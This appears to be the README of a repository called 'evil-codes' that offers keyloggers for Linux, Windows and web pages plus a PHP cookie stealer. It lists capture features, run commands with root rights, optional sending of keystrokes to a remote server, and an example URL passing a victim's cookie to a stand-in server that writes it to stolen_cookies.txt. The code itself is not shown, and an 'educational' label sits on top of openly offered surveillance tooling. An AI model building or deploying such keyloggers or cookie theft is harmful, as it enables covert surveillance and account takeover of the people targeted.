git clone https://github.com/Kode-n-Rolla/evil-codes.git
cd evil-codes
The keyloggers are designed to capture keystrokes and log activity on different operating systems. Please note that these are the first versions and will be refined and enhanced over time. These keyloggers designed for educational and ethical purposes.
- Description: This keylogger is specifically designed for Linux environments. It listens to keyboard events through the /dev/input devices and logs keystrokes to a file. The keylogger can also detect active processes using xdotool if available
- Features:
- Captures and logs keystrokes directly from input devices
- Supports the mapping of key codes to human-readable characters
- Writes logs to a file for easy review and analysis
- Requires root privileges for access to input devices
- Run the keylogger with root permissions:
sudo python linux_keylogger.py
- Description: The Windows version of the keylogger leverages the Windows API and
psutil
library to capture active window information, process details, and keystrokes. It logs all activities into a file for analysis - Features:
- Captures and logs keystrokes using the Windows API
- Retrieves active window and process information for detailed logging
- Supports keyboard layout detection for accurate log representation
- Outputs logs to a file with detailed information about the active application and layout
- Run the keylogger:
python windows_keylogger.py
- Description: It logs keypress events, including standard characters, special function keys (e.g., Esc, Enter, Backspace), and modifier keys (Shift, Ctrl, Alt). The keylogger also captures key combinations to provide more comprehensive data. The project showcases JavaScript's event handling capabilities, which could be useful in understanding how keylogging works
- Features:
- Logs Regular Keys: Captures standard keyboard characters, including letters, numbers, and symbols
- Detects Modifier Keys: Recognizes Shift, Ctrl, Alt, and Meta (Windows/Command) keys and includes them in the log
- Records Special Function Keys: Handles function keys (Esc, Backspace, Delete, Enter, Caps Lock, Tab, and arrow keys)
- Key Combination Logging: Logs combinations like Ctrl + C, Shift + A, or Alt + Enter
- Optional Server Communication: Allows sending logged key data to a server endpoint (e.g., for remote analysis)
- How to use:
- Place the JavaScript file containing the keylogger code into an HTML file, or link it via a <script> tag
cookie
parameter passed through a GET request to a local file named stolen_cookies.txt
in the same directory. Each log entry is timestamped for easy reference.
- The script checks for a URL parameter named
cookie
- If
cookie
is present, its value is saved to a filestolen_cookies.txt
along with the current timestamp - If the parameter is missing, the script simply returns a message saying "No cookie"
http://your-server.com/cookie-stealer.php?cookie=example_cookie_value
- Security Enhancements: Aim to make the keyloggers more robust and add encryption to protect the captured logs
- Additional Platforms: Support for macOS and possible improvements to cross-platform functionality
- Process Tracking: Improvements in tracking processes and window changes in Linux, similar to the Windows version
- Customization: Providing more customizable settings, such as changing the log file location, log formatting, and more